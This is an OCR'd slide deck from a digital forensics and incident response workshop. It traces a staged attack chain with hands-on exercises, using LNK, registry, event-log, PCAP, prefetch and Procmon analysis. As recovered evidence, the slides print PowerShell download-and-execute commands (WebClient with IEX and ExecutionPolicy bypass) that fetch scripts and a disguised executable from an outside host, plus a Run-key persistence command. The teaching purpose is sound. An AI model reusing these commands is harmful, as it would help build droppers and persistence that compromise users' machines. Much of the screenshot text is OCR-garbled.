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cdc-lab\gideon

CDC-LAB\Incident Response Lead
CDC-LAB\K-BusinessCom AG

CDC-LAB\M5c - IT Security - FH Campus Wien

Worst Powerpoint Animator in the history of Powerpoint

CDC-LAB\SANS GCFA Certificiation - Certified Forensic Analyst
CDC-LAB\SANS GCFE Certificiation - Certitied Forensic Examiner
CDC-LAB\SANS GDAT Certificiation - Defending Advanced Threats
CDC-LAB\Senior Cyber Security Analyst
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PS:>WHOAMI

Nina Azimikhah
MSc - IT Security - FH Campus Wien
Senior Cyber Security & Tl Analyst @ K-BusinessCom AG // Threat Intelligence Lead

Lecturer @ FH Technikum Wien // Digital Forensics & Incident Response
SANS GCFA Certification - Certified Forensic Analyst
SANS GNFA Certification - Network Forensic Analyst

Twitter: @ninz0r
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Disclaimer




USB Stick Content

USB Stick Content - Verteilung (Password: nina)

» Artefakts

Mame

Analysis
ForensicFiles

Tools
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Artefakts » ForensicFiles w | 0

= Mame

1 Initial Infection

2 Registry Analysis

3 EventLog Analysis

4 Metwork Analysis

5 Execution Analysis

& Dynamic Malware Analysis
8 7 Final.zip

« Antefakts * Tools

Mame

Eventlog
LMK File
Prefetch
RegistryExplorer
WiresharkPortable
5 dotMetFxd0_Full_x86_x64.exe
B processMonito r.zip

LECmd version 1.5.8.8

Author: Eric Zimmerman (saericzimmerman@gmail.com)

https://github.com/EricZimmerman/LECmd

-h




Agenda

1.

Initial Infection
Registry Analysis
Event Log Analysis
Network Analysis

Execution Analysis

Dynamic Malware Analysis
Summary of the Attack
Final .bat File Analysis

Outro
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Incident Response

Addressing the aftermath of a security breach / attack to varying
degrees.

The fire department of cyber security.




m Hands - On
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"Dieses Foto" von Unbekannter Autor ist lizenziert gemaB CC BY



https://viruscommunityoffical.blogspot.com/2016/10/some-useful-websites-for-hacking_10.html
https://creativecommons.org/licenses/by/3.0/
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0 1 Initial Infection

LNK File
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LNK - File

What is it?

Filename extension for shortcuts
Basically a "link" or shortcut to the original file or application

Contains
= Type of data
= Path to destination

= Application that opens the target document

Spotify
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Tool: LECMD - Zimmermann
LNK Analysis

LECmd version 1.3.1.8

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

LECmd.
LECmd.
LECmd.
LECmd.
LECmd.

Short

axea
exe
exe
axe
axea

f
f
-d
-f
-d

Directory to recursively process. Either this or -f is required
File to process. Either this or -d is required
Only show the filename being processed vs all output. Useful to speed up exporting to json and/or csv. Default is FALSE

Only process lnk files pointing to removable drives. Default is FALSE
Process all files in directory vs. only files matching *.1lnk. Default is FALSE

Directory
File name

Directory
Directory
Directory

to
to

to
to
to

save CSV formatted results to. Be sure to include the full path in double quotes
save CSV formatted results to. When present, overrides default name

save XML formatted results to. Be sure to include the full path in double quotes
save xhtml formatted results to. Be sure to include the full path in double guotes
save json representation to. Use --pretty for a more human readable layout

When exporting to json, use a more human readable layout. Default is FALSE

Suppress Target ID list details from being displayed. Default is FALSE
Suppress Extra blocks information from being displayed. Default is FALSE

The custom date/time format to use when displaying time stamps. See https://goo.gl/CNvgek for options. Default is:

Display higher precision for time stamps. Default is FALSE

:\Temp\foobar.lnk"
:\Temp\somelink.1lnk"” --json "D:\jsonOutput™ --jsonpretty

--csv "c:\temp” --html c:\temp --xml c:\tempixml -q

:\Temp\some other link.lnk" --nid --neb
\Temp" --all

ne
"C
"C:\Temp"
ne
ne

options (single letter) are prefixed with a single dash. Long commands are prefixed with two dashes

yyyy-MM-dd HH:mm:ss
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LNK File - Initial Compromise

Check this cute puppy out -> Hurry 11111
=7

Secret_Cute_Puppy_Picture

An . .
Sgnier vor W
g
E Secret_Cute_Puppy_Picturezip " a
zip-Datei Secret_Cute_Pup

py_Picture

Definitely a puppy and not a malware : @
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HandsOn - LNK File Analysis

(might be flagged as malware - is not malicious but
do not double click anyways @)

» Forensic File: 1 Initial Infection

Tool: LECmd_dotNetX.zip

Question:

What does the LNK File really do?
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LNK-File

Solution

C:\Users\teubert\Downloads\LECmd dotMetd>LECmd.exe -f C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Secret Cute Puppy Picture.lnk
LECmd version 1.5.8.8

Author: i immerman (saericzimmerman@gmail.com)
https://git .com/EricZimmerman/LECmd

Command line: -f C:‘\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Secret Cute Puppy Picture.lnk

arning: Administrator privileges not found!

Processing C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Secret Cute Puppy Picture.lnk

Source file: C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts) ot Cute Puppy Picture.lnk
Source created:
Source modified:
Source accessed:

--- Header ---
Target created:
Target modified:
Target accessed:

File size:

Flags:

File attributes:

Icon index:

Show window: {Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

tem32\WindowsPowerShelllvl.8\powershell  exe

Relative Path: ..\..\..\Windows'Sys
Working Directory: C:\windows\syste
Arguments: -NoPr -eXEc ByP $wcli
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LNK-File

Solution

((New-Object System.Net.WebClient)).DownloadString( https://nina.pw/RegistryBackdoor.psl');IEX $ucli; Start

Lcon Location: C:\Windows\System32\imageres.dll

r

s Eigenschaften von Secret_Cute_Puppy_Picture

Farben Teminal Sicherheit Details Vorgangerversions
Allgemein Verknupfung Optionen Schriftart Layouy

Ff". Secret_Cute Puppy_Picture

Aeltyp: Anwendung

Zielort: w10

el yBackdoorps17);|EX Swcli; Start-Sleep 30}
Ausfubren in: Cwindows system 32

Tastenkombination: Keine

Ausfuhren: Momales Fenster e

LT 3 I I
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The Findings so far

1) A user opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw"”.
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O 2 Registry Analysis

Run Key / NtUser.dat
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Forensic Artefact - Registry Keys

What is it?

Hierarchical collection of database files
Stores config data for OS

Root keys
= HKEY_CLASS_ROOT (HKCR)

= HKEY_LOCAL_MACHINE (HKLM)
SAM
SECURITY
SYSTEM
SOFTWARE
DEFAULT

= HKEY_CURRENT_USER (HKCU)
= HKEY_USERS (HKU)
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Forensic Artefact - Registry Keys
NTUSER.dat

Every user on the system owns a file called NTUSER.dat
Located in C:\Users\<Username>\NTUSER.dat
Associated root key: HKEY_CURRENT_USER

Contains information about

= Most recently used files

= Files that have been searched recently
= Typed URLs

= Everything that is user relevant

= Automatic running scripts when user logs in



Workshop - IR|(N) Public & 25

Forensic Artefact - Registry Keys

What is it?

Autostart Extension Point

Many locations where Autostart can be defined
Registry Keys are one of them

Common persistence technique

Run / RunOnce Keys

Many more...
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Forensic Artefact - Registry Keys

What is it?

App.exe or script which should be started is written into registry key

If user logs in --> /app/.exe/script executes

User level

= Used if no admin/system privileges available

= HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

= HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

System level

s HKEY _CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

= HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

= HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run



Workshop - IR |(N) Public

Tool: Registry Explorer - Zimmermann

Registry Explorer

Registry Explorer

Version 1.5.2.0

Starting...

27

@ Registry Explorer v1.5.2.0
File Tools Options Bookmarks (0/0) View Help
i@ Loadhive Strg+0O I

Finden
ﬂ Proiect , st write timestamp
rojec

Export 'Registry hives 4

[+ Eit
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HandsOn - Registry Analysis

USB Stick:
» Forensic File: 2 Registry Analysis
Tool: RegistryExplorer_dotNetX.zip

Question:

Can you find Malware in the registry? (which
was indicated by the RegistryBackdoor.ps1 in
the .LNK File)?
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Solution - Registry

& Registry Explorer v1.6.0.0 — O *
File Tools Options Bookmarks (32/0) View Help
Registry hives (1) Available bookmarks (32/0) Values

Finden /o

Value M...| V... |Data Value Slack |IsDeleted |Data Record Re...
Key name #values | #subkeys | Last write timestamp
7 | adc Aflc | AQc AElc u u

¥ | ag)c = = = ~

OneDrive R... "C:\Users\IEUser\AppDatalLocal\Microsoft\OneDrive\OneDrive.exe” background

Security and Maintenance
SettingSync
Shell Extensions
SmartGlass
StartLayout
StartupMotify
StorageSense
Store

TaskFlow
TaskManager
Telephony
ThemeManager
Themes

W o|leocgr|lr|lolr(lolr|r|M|aslaslcoflElo|s oc|ow|(m || ||

mR|e(nim|lela|lw|la|w|m|s]|-

2019-03-19 13:29:24
2019-03-19 13:01:23
2019-03-19 13:00:10
2019-03-19 13:00:05
2019-03-19 13:00:12
2022-05-18 14:50:28
2022-05-16 19:30:32
2022-05-16 19:27:02
2019-03-19 13:00:12
2022-05-18 14:58:10
2019-03-19 13:00:05
2022-05-16 12:07:21
2019-03-19 13:00:12

>

Type viewer

Value name

Value type

Value

Raw value

3 Internet Settings 12 10 2022-06-01 10:06:25 ’
Lock Screen 1 2019-03-19 13:00:05 b | Google.. R.. :C:\Windows\system32\omd.exe /b fc start /b jmin powershell -ExecutionPolicy bypass C:win
» Mobility 0 2022-05-15 19:37:47 Google... R.. m32%md.exe b jcstart /b jmin powershell -ExecutionPolicy bypass C:\windows\syswows$\s... 0D-00-0A. . v
3 Notifications 0 2022-05-16 19:30:12
3 PenWWorkspace 0 2019-03-19 13:00:05
k Polides a 2019-03-19 13:00:12
b PredsionTouchPad 11 2019-03-19 13:00:05
Prelaunch 1 2022-05-16 19:46:48
Privacy 3 2019-03-19 13:00:28
¥ PushMotifications 1 2019-03-19 13:00:32
RADAR 2 20159-03-19 13:00:05
4 Run 3 2022-05-17 02:28:05
RunOnce % 2022-06-01 10:10:39
Screensavers a 2019-03-19 13:00:05
Search 14 2022-06-01 10:16:09

Binary wiewer

|Google_Updabe_OneDrive

|Reg52

C:\Windows'system32\cmd. exe /b fostart /b fmin powershell ExecutionPolicy bypass C:\windows\syswows4\sys_|1gma.ps1

43-00-3A-00-5C-00-57-00-68-00-6E-00-64-00-6F-00-77-00-73-00-5C-00-73-00-79-00-73-00-74-00-65-00-60-00-33-00-32-00-5C-00-63-00-6 A
D-00-64-00-2E-00-65-00-78-00-65-00-20-00-2F-00-6 2-00-20-00-2F-00-63-00-20-00-73-00-74-00-61-00-72-00-74-00-20-00-2F-00-62-00-20-
00-2F-00-60-00-69-00-6E-00-20-00-70-00-6F-00-77-00-65-00-72-00-73-00-68-00-6 5-00-6C-00-6C-00-20-00-20-00-2D-00-45-00-78-00-65-0 »
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Solution - Registry

Type viewer
Value name

Value type

Value

Binary viewer

|GnugIE_L.IpdatE_ChE[h‘rl.rE

|Heg5=

C:\Windows\system32\cmd.exe /b jc start /b /min powershell -ExecutionPolicy bypass C:\windows\syswows4\sys_|1gma.ps1




The Findings so far

3)

4)

A user opened a mail which contained a malicious Shortcut File (.LNK).

The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every
User-Logon.

The Run-Key "Google_Update_OneDrive” starts another powershell script
("sys_l1gma.ps1”)
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0 3 EventLog Analysis

Powershell
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Forensic Artefact - Windows Event Logs

What is it?

Provides detailed information about activity on the system
Generates huge amount of information

Stored locally

Each eventis recorded in Event Log

Depending on type of event --> specific details are recorded

Five different event types
= Error

= Warning

= Information

= Success Audit

® Failure Audit

Recorded events are written by event log sources to event log files (.evtx)
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Forensic Artefact - Windows Event Logs
What is it?

Three primary Logs
= Security: Audit Logs, Group Policies, etc.
E.g. failed logon, successful logon, folder access, etc.
= System: Information about the OS, system drivers, resources
E.g. system shutdown, service stopped
= Application: Software events
Written by apps
Depending on which app is installed --> different information
E.g. Windows Defender --> Microsoft-Windows-Windows Defender%4QOperational.evtx
Location: Windows Vista/7+

" %Systemroot%\System32\winevt\Logs
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Tool: EvtixECmd.exe (EventLogExplorer) - Zimmermann

Eventlog Explorer

EvtxECmd version ©.4.1.6

Author: Eric Zimmerman (saericzimmerman@ggmail.com)
https://github.com/EricZimmerman/evix

d
f

dt
inc
exc
]
met

maps
debug

trace

Examples: EvixECmd.exe
EvixECmd.exe
EvixECmd.exe

Directory to process that contains ewvtx files. This or -f is reguired
File to process. This or -d is required

Directory to save CSV formatted results to.
File name to save C5V formatted results to. When present, overrides default name
Directory to save JSON formatted results to.
File name to save JS0N formatted results to. When present, overrides default name
Directory to save XML formatted results to.
File name to save XML formatted results to. When present, overrides default name

The custom date/time format to use when displaying time stamps. Default is: yyyy-MM-dd HH:mm:ss.fFFFHFf
List of event IDs to process. All others are ignored. Overrides --exc Format is 4624,4625,5418

List of event IDs to IGNORE. All others are included. Format is 4624,4625,5418

When true, export all available data when using --json. Default is FALSE.

When true, show metrics about processed event log. Default is TRUE.

The path where event maps are located. Defaults to 'Maps’ folder where program was executed

Show debug information
Show trace information

-t "C:\Temp\Application.
-t "C:\Temp\Application.
-t "C:\Temp\Application.

during processing
during processing

evtx"” --csv "c:\templout” --csvf MyOutputFile.cswv
evix" --csv "c:\tempiout”
evtx” --json "c:\temp\jsonout”

Short options (single letter) are prefixed with a single dash. Long commands are prefixed with two dashes

35
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HandsOn - Eventlog Analysis

USB Stick:
» Forensic File: 3 EventLog Analysis
Tool: EvtxCmd_dotNetX.zip

Question:

What does the Powershell Script within the Run-
Key “sys_l1gma.ps1” do?
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Hands-On: Eventlogs (Powershell)

C:\Users\teubert\Downloads\EvtxECmd_dotNet4\EvtxECmd>.\EvExXECmd.exe -f "C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\ForensicFiles\Powershell.evtx" --csv "C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Analysis"
EvixECmd version 1.8.8.8

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github. com/EricZimmerman/evtx

Command line: -f C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\ForensicFiles\Powershell.evtx --csv C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Analysis
larning: Administrator privileges not found!

CSV output will be saved to C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\Analysis\20220518140925_EvtxECmd_Output.csv
Maps loaded:

Processing C:\Users\teubert\Desktop\Prasis\ITSNOW\Artefakts\ForensicFiles\Powershell.evix...
Chunk count: !, Iterating records...

Event log details
Flags: None
Chunk count: 1
Stored/Calculated CRC: ABBC2792/ABBC2792
Earliest timestamp: 16@1-@1-81 00:00:00.0000000
test timestamp: 2822-85-16 11:49:18.9886852
1 event log records found: 42

Records included: /7 Errors: © Events dropped:

Metrics (including dropped events)
Event ID Count
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Hands-On: Eventlogs (Powershell)

EventCode 4104 /4103
P Q R

PayloadDatal - PayloadDi = PayloadData3
Path: ScriptBlockText: \sys_l1gma.psl
Path: C:\Windows\SyswWOwe4\sys_llgma.psl ScriptBlockText: IEX (New-Object Net.Webclient).downloadfile("http://nina.pw/sugma.png","C:\temp\CPU_Sugma.exe"),
Path: ScriptBlockText: { Set-StrictMode -Version 1
Path: ScriptBlockText: { Set-StrictMode -Version 1
Path: ScriptBlockText: { Set-StrictMode -Version 1
Path: ScriptBlockText: { Set-StrictMode -Version 1

Path: ScriptBlockText: prompt
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The Findings so far

1) Auser opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

3) The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every User-
Logon.

4) The Run-Key "Google_Update_OneDrive” starts another powershell script
(“sys_lTgma.ps1”)

5) The powershell script downloads a .PNG File (sugma.png) from “nina.pw"”.
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O 4 Network Analysis

Wireshark
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PCAP / Wireshark

What is it?

Wireshark

= Network protocol analyzer
= Captures packets from network connection
= Slicing and dicing of data using filters

® Visualizes conversation and network streams

= Troubleshoot network, trace connections, view content of suspicious network transaction etc.
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PCAP - Network Analysis

Sniffing.pcapng

‘ sniffing.pcapng

atel earbeiten nsicht avigation utzeichnen nalyse tatistikcen elephonie

Datei  Bearbei Ansicht  Mavigati Aufzeich Analy Statistik Telephoni

Ami® Resz=FosEEaaan

] |Anzeigeﬁ|ter anwenden ... <Ctrl-/=

Mo, Time Source

—|-> 1 9.080000 192.168.171.131 query @x26c8 A wpad.localdomain

! 2 9.850989 192.168.171.1 query @xe8ee A wpad.local, "QM" question

i 3 9.851912 fed@::b8af:9c9b:e2ch:claf query @xeeee A wpad.local, "QM" question

i 4 8.677396 192.168.171.131 query @x4af? A nina.pw

i 5 B8.729651 192.168.171.2 uery response @x4af7 & nina.pw A 91.134.179.251

| query p p

i 6 8.735591 192.168.171.131 8@ [SYN] Seq=0 Win=64248 Len=8 M55=1468 W5=256 SACK_PERM=1

i 7 B.777338 91.134.179.251 62 [SYN, ACK] Seq=0 Ack=1 Win=64248 Len=8 M55=1468

i 3 8.777451 192.168.171.131 8@ [ACK] Seq=1 Ack=1 Win=64248 Len=0

i 9 @.778556 192.168.171.131 ma.png HTTP/1.1

i 1e @.7788594 91.134.179.251 62 [ACK] Seq=1l Ack=67 Win=64248 Len=0

i 11 8.824160 091.134.179.251 62 [ACK] Segq=1 Ack=67 Win=64248 Len=146@ [TCP segment of a reassembled PDU]

i 12 @.824160 91.134.179.251 62 [P5H, ACK] Seq=1461 Ack=67 Win=54248 Len=79 [TCP segment of a reassembled PDU]
i 13 @.824245 192.168.171.131 8@ [ACK] Seq=67 Ack=1548 Win=64248 Len=@

i 14 @.826729 91.134.179.251 62 [P5H, ACK] Seq=1548 Ack=67 Win=564248 Len=1388 [TCP segment of a reassembled PDUJ
1 _ e e - . e e e o b - ... e ———— - » _— . _—————— —— - m——— - - - o m
£
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HandsOn - Network Traffic
Analysis

USB Stick:
» Forensic File: 4 Network Analysis
Tool: WiresharkPortableXX_3.6.5.paf

Question:

What did the powershell script really
download?



Hands-On: PCAP Analysis
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Solution
|tp5teameq0

Mo, Time Source Destination

— 6 @.735591 192.168.171.131 91.134.179.251
7 B.777338 91.134.179.251 192.168.171.131
8 8.777451 192.168.171.131 91.134.179.251

Hha 9 8.778556 192.168.171.131 91.134.179.251
18 @.778894 091.134.179.25]1 192.168.171.131
11 @.824166 91.134.179.251 192.168.171.131
12 @.824166 91.134.179.251 192.168.171.131
13 8.824245 192.168.171.131 91.134.179.251
14 @.826729 91.134.179.251 192.168.171.131
15 @.8265886 91.134.179.251 192.168.171.131
16 8.826826 192.168.171.131 91.134.179.251
17 8.829531 91.134.179.251 192.168.171.131
18 &.829583 91.134.179.251 192.168.171.131
19 @.829583 91.134.179.251 192.168.171.131
26 8.823785 192.168.171.131 91.134.179.251

Frame 9: 128 bytes on wire (968 bits), 128 bytes captured (96@ bits) on interface ‘DewiceNP|
VMware_Bc:e9:15 (@8:8c:29:8c:e9:15), Dst: VMware_fT:35:5e (@8@:50:56:1T:35:
192.168.171.131,

Ethernet II, Src:
Internet Protocol Version 4, Src:

Dst: 91.134.179.251

Transmission Contrel Protocol, Src Port: 49762, Dst Port: 88, Seq: 1, Ack: 1, Len: 66
Hypertext Transfer Protocol

M Wireshark - Felge TCP Stream (tcp.stream eq 0) - sniffing. pcapng — O

GET /sugma.png HTTP/1.1
Host: nina.pw
Connection: Keep-Alive

HTTP/1.1 288 OK

date: Mon, 16 May 2822 12:42:87 GMT
content-type: image/png

content-length: 45856

server: Apache

last-modified: Mon, 16 May 2822 11:32:34 GMT
accept-ranges: bytes

cache-control: max-age=988

expires: Mon, 16 May 2822 12:57:89 GMT
x-iplb-request-id: 5473D3D8:92C1 SB36B3FB:0858_628246A1 BE10:BAE3
x-iplb-instance: 38233

MZ. e e eeeeeeeaaanan. e e e e e e e e e e

.1..L.!This program cannoct be run in DOS mode.

P ocmonas PE..L

(Bclooacaocooo000a00000ac Vooooacoocooooac @ (booooasasooscooooasasooncoac

...... Jo........

............................... R 3 R
............. . - o e - O o | o 1 Pooaooc

¥l coooooaoaooac @.e@/a....... )




Hands-On: PCAP Analysis

Solution
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fsugma.png
: nNina.pw

Confflection: Reep-Alive

HTTP/1.1

HTTP/1.1 286 OK

date: Mon, 16 0z & = 42:87 GMT
content-type:| image/png
content-length—25850

server: Apache

last-modified: Mon, 16 May 2822 11:32:34 GMT
accept-ranges: bytes

cache-control: max-age=986

expires: Mon, 16 May 2822 12:57:89 GMT

x-iplb-instance: 38233

x-iplb-request-id: 5473D308:92C1 SBE6B3FEB:0050 628246A1 SBE19:BAE3
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Reminder: Eventlogs (Powershell)
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EventCode 4104 /4103
P Q R
PayloadDatal - PayloadDi = PayloadData3
Path: ScriptBlockText: \sys_l1gma.psl

Path: C:\Windows\SysWOwe64\sys_l1gma.psl
Path:
Path:
Path:
Path:
Path:

ScriptBlockText: IEX (New-0Object Net.Webclient).downloadfile{"http://nina.pw/sugma.png",
ScriptBlockText: { Set-StrictMode -Version 1

ScriptBlockText: { Set-StrictMode -Version 1

ScriptBlockText: { Set-StrictMode -Version 1

ScriptBlockText: { Set-StrictMode -Version 1

ScriptBlockText: prompt

|C:Etemp\CPU_Sugma.exe“}|
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The Findings so far

1) Auser opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

3) The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every User-
Logon.

4) The Run-Key "Google_Update_OneDrive” starts another powershell script
(“sys_lTgma.ps1”)

5) The powershell script downloads a .PNG File (sugma.png) from “nina.pw”.

6) The .PNG File (sugma.png) seems to be an executable (CPU_Sugma.exe).
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O 5 Execution Analysis

Prefetch / Shimcache
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Forensic Artefact - Prefetch

Execution Analysis

Stores application data (at first launch) in order to start the app quicker
Saved as files at location: C:\Windows\Prefetch
Evidence of application execution

Prefetch contains following information:

= Path of execution

= Last time of execution

= Number of times the application has been executed
= File handles (loaded DLLs by application)
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Tool: PECMD - Zimmermann

Execution Analysis

PECmd wersion 1.3.1.8

Author: Eric Zimmerman (saericzimmerman@ggmail.com)
https://github.com/EricZimmerman/PECmd

Directory to recursively process. Either this or -f is required

File to process. Either this or -d is required

Comma separated list of keywords to highlight in output. By default, 'temp' and "tmp' are highlighted. Any additional keyw
ords will be added to these.

When specified, sawve prefetch file bytes to the given path. Useful to look at decompressed Winl® files

Do not dump full details about each file processed. Speeds up processing when using --json or --csv. Default is FALSE

Directory to save json representation to. Use --pretty for a more human readable layout
Directory to save CSV results to. Be sure to include the full path in double quotes

File name to save CSV formatted results to. When present, overrides default name

Directory to save xhtml formatted results to. Be sure to include the full path in double quotes
When exporting to json, use a more human readable layout. Default is FALSE

The custom date/time format to use when displaying timestamps. See https://goo.gl/CNVWgBk for options. Default is: yyyy-MM-
dd HH:mm:ss
mp khen true, display higher precision for timestamps. Default is FALSE

Examples: PECmd.exe -f "C:\Temp\CALC.EXE-3FBEF7FD.pf"
PECmd.exe -f "C:\Temp\CALC.EXE-3FBEF7FD.pf" --json "D:\jsonOutput" --jsonpretty
PECmd.exe -d "C:\Temp" -k "system32, fonts"
PECmd.exe -d "C:\Temp" --cswv "c:\temp" --cswf foo.csv --json c:\temp\json
PECmd.exe -d "C:\Windows“Prefetch"

Short options (single letter) are prefixed with a single dash. Long commands are prefixed with two dashes
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HandsOn - Execution Analysis

USB Stick:
» Forensic File: 5 Execution Analysis
Tool: PECmd_dotNet4 (Prefetch)

Question:
Was CPU_Sugma.exe executed successfully?

When was CPU_Sugma.exe executed?
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Hands-On: Prefetch Analysis

Execution Analysis

C:\Users\teubert\Downloads\PECmd>PECmd.exe -f "C:\Usersh\teubert\Desktop\Prasis\ITSNOW\Artefakts\CPU SUGMA.EXE-AB3ICD4AB.pT"
PECmd version 1.5.8.8

Author: Eric Zimmerman (saericzimmerman@gmail.com)

https://github.com/EricZimmerman,/PECmd

Command lime: -+ C:%\Usersh rt\Desktop\Prasis\ITSNOW\Artefakts\CPU_ SUGMA.EXE-AB3ICDA4AS . pT
Keywords: temp, tmp
Processing C:Wsers\teubert\Desktop\Prasis\ITSNOW \Artefakts\CPU SUGMA . EXE-AB3CDAAS . pT

Created on:
Modified on:
Last accessed on:

Executable nmame: CPU_SUGMA.EXE
Hash: AB3CDA4AS

File size (bytes):

ersion: Windows 18 or Windows 11

Rumn cowumnt:
Last run:

olume information:
Mame: ‘\WOLUME{©ld4defegSdd4cla-bBBo9e7ad} Serial: BO89ETAS Created: Directories: File references:

Directories referenced:
WNWOLUME{ 81d4ad 4
VOLUME{ &1d4d

a Acla-boo
\ 9
VOLUME{©1d4ded

9

=

8od4

89d44cla-bee
89d44cla-boa
B9d4
Bod4

e

(el

a9 I\TEMP (Keyword

29 I \WINDOWS

739 P NWINDOWS\WAPPPATCH
ag

ag

m

dcla-boo
4cla-boo

m

VOLUME{©1d4d

\ FAWWINDOWSAWSYSTEM3 2
VOLUME{©1d4dege

FAWINDOWS Y SYSHOWGE4

L I Y Y
m
] fd ] ] ]

m
=,
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Hands-On: Prefetch Analysis

Execution Analysis

PECmd.exe -f ,,[PathToPrefetch]\CPU_SUGMA.exe-AB3CD4AO.pf"

Directories referenced:

‘VPLUME{ 1d4de9eb9d4
\VOLUME {©1d4deSeB89d4

D
®
O
)

m
OO0
D O
D ® &

O

D

W

Files referenced: - \WOLUME{©1d4adegep9da

EVCLU’ ‘OldddeWPO”d
{©1d4deSed

lTl
)
|D L

o \

I‘) J‘) lx ,[h ‘w
(] ﬂ MM |’1
®
o
Y O
D M
NN N NN
W
O

m ITT

OO
VIR
OV AY
O O
m M

\VOLUME{@1d4de9ee9
LUME{@1d4de!
LUME{@ld4dedeaoda4cl; o T E 0

E{@1d4de9e@od44cla-be \WINDOWS 5AWIN . DLL

L C

CL
oY

= U ll']-—ll']'—'
E{@1d4de!
= “1'll']-11l'l'=' o
e = -I.'-'._l-]-l.:F'I_I.DLL
{@1d4de9e@od44cla- 1P, GMA . (Executable:
E{@ld4dde! d4cla-bE i MELBASE.DLL
E{81d4de! 14c1a % JTHNDOD MCALE . MLS
| _-:L1l|'j._].|']|—- AAc1; JIMND SO HELP.DLL
LLIME JF. 2 : JTMND F' F'-—._"_ H FSMATN . SDB
WWOLLUME : W = FAWINDOWSASYSWOWe4 \MSVCRT .DLL
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The Findings so far

1) Auser opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

3) The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every User-
Logon.

4) The Run-Key "Google_Update_OneDrive” starts another powershell script
(“sys_lTgma.ps1”)

5) The powershell script downloads a .PNG File (sugma.png) from “nina.pw”.
6) The .PNG File (sugma.png) seems to be an executable (CPU_Sugma.exe).
7) The executable CPU_Sugma.exe was executed from the C:\temp folder (on 16.05).
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06

Dynamic Malware Analysis

Procmon
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Dynamic Analysis

Actually running malware sample
In isolated virtual environment

Observe behavior

Debugger can be used to determine functionality

Static analysis
Without running malware sample

Can be reverse engineered by loading executable into disassembler (e.g. IDA)

Check what the malware is capable of and what it is doing



Tool: ProcMon (Sysinternals)

File Edit Event Filter Tools Options Help

FEILNRIYAO|&H L Ew D W
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Time ... Process Name PID Operation Path Result Detail
B Process Monitor Filter >
Filters were in effect the last time you exited Process Monitor:
Display entries matching these conditions:
Architecture ~|lis ~ ~ | then |Include
Reset Add Remove
Column Relation Value Action ~
\J Path containg Sugma Include
@ Process Name is Procmon exe Exclude
@ Process Name is Procexp exe Exclude
@ Process Name is Autoruns exe Exclude
@ Process Name is Procmon64 exe Exclude
@ Process Name is Procexp6d exe Exclude
[ 67 Prrace Name ia Sustam Furlida "
0K Cancel Apply

Mo events (capture disabled) Backed by virtual memory

£F Process Monitor - Sysinternals: www.sysinternals.com

File

Edit Event Filter
Open...

Save...

Backing Files...

Capture Events

Export Configuration...

Toals
Ctrl+ O
Ctrl+5S

Ctrl+E

Import Configuration...

Exit

Options

Help
E]

#h 5

c:r4l= N

eSingle C:
C:
eSingle T
C:
leSingle C:M
C:
leSingle C:
C
eSingle C:

Path

ProgramDiata’
wMicrosoft \Wind
“Microsoft  Wind
WMicrosoft \ Wind

“ProgramData

ProgramData

“ProgramData
ProgramData’
“ProgramData®
“Microzoft Wind
“Microsoft \ Wind
“Microsoft Wind

ProgramData

“ProgramData

ProgramData

Microsoft ¥Wind

MicrosoftWind
Microsoft Wind
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HandsOn - Dynamic Analysis

USB Stick:
* Forensic File: 6 Dynamic Malware Analysis
Tool: ProcessMonitor.zip

Question:

What does CPU_Sugma.exe do?



Hands-On - Dynamic Analysis

CPU_Sugma.exe
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File

=

08:01:..
03:01:..
08:01:..
08:01:..
08:01:..
08:01:..
08:01:..
08:01..
08:01:..
08:01:..
03:01:..
08:01:..
08:01:..
08:01:..
08:01:..
08:01:..
08:01..
08:01:..
03:01:..
08:01:..

08:1

Time ...

08:01:...

E'B:I}'I:...
08:01:...

03:01:...

08:01:...
i

Edit Event

[ s

Process Name

‘B- CPU_Sugma.exe
_CPLI_Sugma.e:n:e
CPU_Sugma.exe
CPU_Sugma exe

PU_Sugma exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe

PU_Sugma exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma.exe
PU_Sugma exe
CPU_Sugma exe
CPU_Sugma.exe
CPL_Sugma.exe
CPU_Sugma.exe
‘B- CPU_Sugma.exe

C
C
C
C
C
C
C
C
CPU_Sugma exe
C
C
C
C
C
C
C
C

P Tl

Filter

Tools

PID

3332
3332
3332
3332
1832
1832
1332
3332
3332
3332
3332
3332
3332
1832
1832
1332
3332
3332
3332
3332
3332
1832
1332
3332
3332
3332

LT

Options  Help

CT N

10 TR B

PN e

(o T . N | i

